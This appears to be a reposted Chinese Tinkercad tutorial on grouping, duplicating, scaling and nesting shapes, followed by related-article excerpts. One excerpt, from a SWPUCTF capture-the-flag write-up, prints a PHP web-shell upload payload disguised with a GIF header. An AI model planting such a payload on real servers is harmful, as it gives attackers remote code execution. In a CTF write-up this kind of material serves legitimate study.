tinkerCAD入门操作(3):创建和操作分组对象

news2024/11/27 14:38:55

tinkerCAD入门操作(3):创建和操作分组对象

img

介绍

我们现在将探索Tinkercad的超能力 - 组合简单的形状来制作复杂的对象。

组合形状是实体建模的基本目的。这就是汽车、建筑物和宇宙飞船等有趣东西的制作方式。现在,我们要教你这个超能力。

创建复合形状

让我们首先将两个圆柱体和一个盒子组合成一个心。

当您对对象进行分组时,您需要注意对象之间没有间隙,否则它们在3D打印时可能不会粘在一起。

当重叠的形状组合在一起时(记住布尔加法),重叠的部分将被移除,你将只剩下一个心形。
在这里插入图片描述

说明

  1. 在工作平面中拖动并放置两个圆柱体和一个框。请记住将它们放在提示中,以便所有内容对齐。

分组组件形状

为了创建一个实体对象,您需要将三个重叠的对象组合成一个心形。

img

说明

  1. 按住 Shift 的同时,单击每个形状。每个选定的形状周围都会有蓝色光芒。


  2. 在菜单栏中,单击“组”按钮。

复制形状

干得好!现在我们有了新的单个对象,让我们复制它,所以我们有两个。

复制形状时,它将直接放置在原始形状中。这意味着,因为它们是相同的,所以它们将显示为一个。在移动或更改其中一个形状之前,您将无法看到这两个形状。

img

说明

  1. 在菜单栏中,转到编辑,然后选择复制。

扩展组

现在,缩放重复对象,使其居中、比原始对象更小、更高。

分组或复杂形状将像原始形状一样缩放。

img

说明

  1. 按住 Alt(或 Mac 上的 Command)时,抓住高度手柄(顶部的白色方块),并使形状更高。


  2. 抓住一个角手柄,在按住 Shift 和 Alt(或 Mac 上的 Command)的同时,使副本变小。

将组转换为负空间

现在,让我们在心形固体上切一个心形孔。

就像在第 1 课中一样,我们将从另一个对象中减去布尔值。

即使我们正在处理复杂的形状,它们在布尔运算中仍然表现为一个形状。

img

说明

  1. 选择较小的心形后,在检查器中选择“孔”属性。

嵌套组

现在选择两个对象,然后使用菜单栏中的“分组”工具。

你刚刚做了一件了不起的事情!你组成了一组小组!而且您可以轻松地制作一组组。您可以根据需要多次执行此操作。

这被称为“嵌套组”,类似于俄罗斯嵌套娃娃。 事实上,我们将用组组制作一个新的形状。

img

说明

  1. 选择两个心形,然后单击菜单栏中的“组”按钮。


  2. 删除形状或将其移动到工作平面的一侧,以便为下一个对象留出空间。

测试您的技能

我们将练习建立另一组组,因为习惯这个想法非常重要。

让我们练习你的真棒技能并建造房屋!

img

说明

  1. 将一个箱子和一个三角形屋顶拖到工作平面上。


  2. 将屋顶放在盒子顶部(离工作平面 20 毫米)。


  3. 仔细检查形状是否相对于彼此对齐。

选择一种颜色

如果希望形状具有不同的颜色,则需要在对形状进行分组之前更改每个形状的颜色。

由于复杂形状的行为为一个,因此一旦对形状进行分组,更改颜色将更改整个复杂形状的颜色。

img

说明

  1. 使用检查器中的“颜色”菜单选择房屋的颜色。

组继承

让我们对形状进行分组。

哎 呦!我们的颜色怎么了?

集团传承!

创建组时,所选第一项的颜色将赋予整个形状。

别担心,您的计算机会记住所有原始颜色,所以让我们将它们取回。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fQmxnCjC-1685850127831)(null)]

说明

  1. 对对象进行分组。


  2. 不用担心颜色!深吸一口气,让我们把他们找回来。

五彩

检查器中的颜色菜单可以将组更改为任何一种颜色。

如果你想让你的设计更丰富多彩,底部有一个特殊的设置,叫做“多色”。

这会将组恢复为原始形状的颜色。

img

说明

  1. 选择您的群组,然后在检查器的颜色菜单中选择“多色”。

扩展组

我们的房子看起来有点小。让我们把它做大。就像任何其他形状一样,我们可以使用复杂对象的手柄来缩放组。

img

说明

  1. 缩放房屋,直到沿 Y 轴长 50 毫米。

旋转组

我们也想创造你的房子,这样它就比一个简单的盒子更令人兴奋。让我们复制原始形状,并将副本旋转 90°。

img

说明

  1. 复制形状并绕 Z 轴旋转 90°

缩放重复对象

嗯,一个十字形的房子看起来有点奇怪。让我们将副本缩小到原始长度的 50%,以便副本的峰值停止在原始长度的峰值处。

img

说明

  1. 使复制部分长25mm。

添加门窗

我敢打赌你已经掌握了这个窍门。你为什么不做一些门窗!制作您喜欢的任何窗口。不要忘记使用重复来快速制作相同的窗口!

img

说明

  1. 定制你的房子!我敢打赌,你甚至可以做出更好的,现在!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/607879.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Stable-Diffusion|window10安装GPU版本的 Stable-Diffusion-WebUI遇到的一些问题(一)

教程主要参考: AI绘画第一步,安装Stable-Diffusion-WebUI全过程 ! Stable Diffusion WebUI使用手冊(正體中文)|Ivon的部落格 具体记录一下笔者除了按照上述教程,遇到坑的地方 文章目录 1 git PYTHON2 Nvidia设置3 stable-diffus…

如何解决构建安防监控系统的技术难点?快解析来助力

在安防领域,大数据具有广阔的应用场景,能带来深度的价值。随着应用普及越来越广,安防监控系统被人们日益重视起来,科技含量越来越高,几乎所有高新科技都可促进其发展,尤其是信息时代的来临,更给该专业的发展提供了契机…

2023年全球项目管理系统排行榜:推荐15家值得关注的项目管理系统

在当今世界,管理项目已经成为许多企业不可分割的一部分。因此,拥有正确的项目管理系统对于确保任何业务的成功都是至关重要的。随着技术的不断发展,好用的项目管理系统也在不断发展,以满足现代工作场所日益增长的需求。到2023年&a…

区间预测 | MATLAB实现基于QRCNN-BiGRU-Multihead-Attention多头注意力卷积双向门控循环单元多变量时间序列区间预测

区间预测 | MATLAB实现基于QRCNN-GRU-Multihead-Attention多头注意力卷积双向门控循环单元多变量时间序列区间预测 目录 区间预测 | MATLAB实现基于QRCNN-GRU-Multihead-Attention多头注意力卷积双向门控循环单元多变量时间序列区间预测效果一览基本介绍模型描述程序设计参考资…

设计模式之-模板方法模式C++实现与C++模板template使用

介绍 模板方法模式使用比较常见,也比较简单,模板方法模式是属于设计模式中的行为设计模式。行为设计模式是关注对象的行为或者交互方面的内容,主要涉及算法和对象之间的职责分配。 模板方法模式使用场景:在设计需求中,…

超详细IDEA创建MavenWeb项目

文章目录 一、环境准备二、骨架方式创建Maven-Web项目三、非骨架方式创建Maven-Web项目 一、环境准备 既然是创建Maven-Web项目,那么首先我们需要配置好Maven和JDK环境,这里笔者使用JDK8版本以及Maven3.6系列版本。 附Maven安装配置教程 超详细Maven安装…

【CesiumJS入门】(2)ImageryLayer之图层加载与管理

前言 在上一篇博客中,我们加载了一个空空的蓝色地球,现在我们将会为地球加载上地图。 步骤: 创建ImageryProvider (数据源)创建ImageryLayer (图层)将图层添加进视图中(viewer&…

ChatGPT中文版写论文神器使用技巧

又到了一年一度的毕业季,写论文成了同学们的头等大事。ChatGPT系当今世上最强的人工智能产品,已经深刻地影响着人们的工作生活学习。ChatGPT也是写论文的神器,能帮助同学们拓宽思路,举一反三,事半功倍。以面给同学们盘…

六、JSP06 使用 EL 和 JSTL 简化 JSP

六、使用 EL 和 JSTL 简化 JSP 6.1 使用 EL 表达式 EL 表达式借鉴了 JavaScript 和 XPath 的表达式语言 EL 表达式提供了一种在 JSP 中简化表达式的方法 EL 表达式通常用于在某个作用域 {page、request、session、application等} 内取得属性值 6.1.1 使用 EL 表达式 EL 表达式…

【019】C++的指针与函数

C的指针与函数 引言一、指针变量作为函数的参数1.1、单向传递:值传递1.2、单向传递:传地址 二、数组作为函数的参数传递三、函数的返回值类型是指针类型四、函数指针4.1、函数指针的定义4.2、函数指针变量的注意事项4.3、函数指针变量使用typedef定义别名…

rabbitmq死信队列详解

目录 1 概念 2 成为死信队列的条件 2.1 队列指定长度 2.2 消息ttl时间 2.3 消费者拒收消息 1 概念 死信队列:死信队列其实和普通的队列一样,只不过里面存放的消息都是普通队列过期没有消费的。所以,接收没有及时被消费消息的队列为死信…

[SWPUCTF 2021 新生赛] (WEB二)

目录 easyupload1.0 easyupload2.0 easyupload3.0 no_wakeup PseudoProtocols error hardrce pop sql finalrce hardrce_3 easyupload1.0 1.启动环境 2.上传一个图片木马 GIF89a <script languagephp>eval($_POST[a]);</script>3.蚁剑连接&#xff0c;…

VBScript深度学习入门——线性回归

背景 破电脑装不了VS、Py、IDea、Golang等主流编译器或其语言运行环境&#xff0c;但是自带.Net FrameWork 3.5&#xff0c;可以使用VBScript进行脚本编写&#xff0c;无所谓&#xff0c;反正都是了解底层原理学习&#xff0c;大不了手搓机器学习框架。 分析 了解线性回归的…

剑指 Offer 24. 反转链表解题思路

文章目录 题目解题思路 题目 定义一个函数&#xff0c;输入一个链表的头节点&#xff0c;反转该链表并输出反转后链表的头节点。 示例: 输入: 1->2->3->4->5->NULL 输出: 5->4->3->2->1->NULL 限制&#xff1a; 0 < 节点个数 < 5000 …

去过门头沟吗?

门头沟&#xff08;Mt.Gox&#xff09; 1. 成立2. 发展3. 危机4. 后续 1. 成立 MtGox是程序员杰德麦凯莱布&#xff08;Jed MeCaleb&#xff09;在比特币论坛的用户名。2007年&#xff0c;麦凯莱布开发了魔法风云会线上交易平台&#xff1a;门头沟&#xff08;Mt.Gox&#xff…

【数据分析之道-Matplotlib(六)】Matplotlib饼图

文章目录 专栏导读1、Matplotlib饼图pie()语法格式2、设置饼图各个扇形的标签与颜色3、突出显示第二个扇形&#xff0c;并格式化输出百分比4、shadows通过将参数设置为&#xff1a;向饼图添加阴影 True5、使用legend()函数为每个楔形添加解释列表6、将title参数添加到legend 函…

MYSQL实战45讲笔记--基础架构:一条SQL查询语句是如何执行的?

基础架构&#xff1a;一条SQL查询语句是如何执行的&#xff1f; **select** * **from** T **where** ID10mysql架构 MySQL 可以分为 Server 层和存储引擎层两部分。 Server 层&#xff1a;连接器、查询缓存、分析器、优化器、执行器等&#xff0c;涵盖 MySQL 的大多数核心服务…

不同平均值—集合—力扣—Python

一、题目描述&#xff1a; 二、代码解题&#xff1a; 1.不含注释语句的 class Solution:def distinctAverages(self, nums: List[int]) -> int:avg set([])l len(nums)//2for i in range(0,l):mi min(nums)ma max(nums)p (mima)/2avg.add(p)nums.remove(mi)nums.remo…

Python-For-EEG基础代码讲解(1)

Python-For-EEG 我要演示脑电图信号的基本分析。 主题 1、基于时域分析&#xff0c;P300信号数据集 Event-related potentials and 1-dimensional convolution&#xff08;ERP,CNN&#xff09;Long short-term memory(LSTM) 2、基于频域分析&#xff0c;DEAP和SSVEP数据集…

LeetCode_双指针_中等_82.删除排序链表中的重复元素 II

目录 1.题目2.思路3.代码实现&#xff08;Java&#xff09; 1.题目 给定一个已排序的链表的头 head &#xff0c; 删除原始链表中所有重复数字的节点&#xff0c;只留下不同的数字 。返回已排序的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,3,4,4,5] 输出&…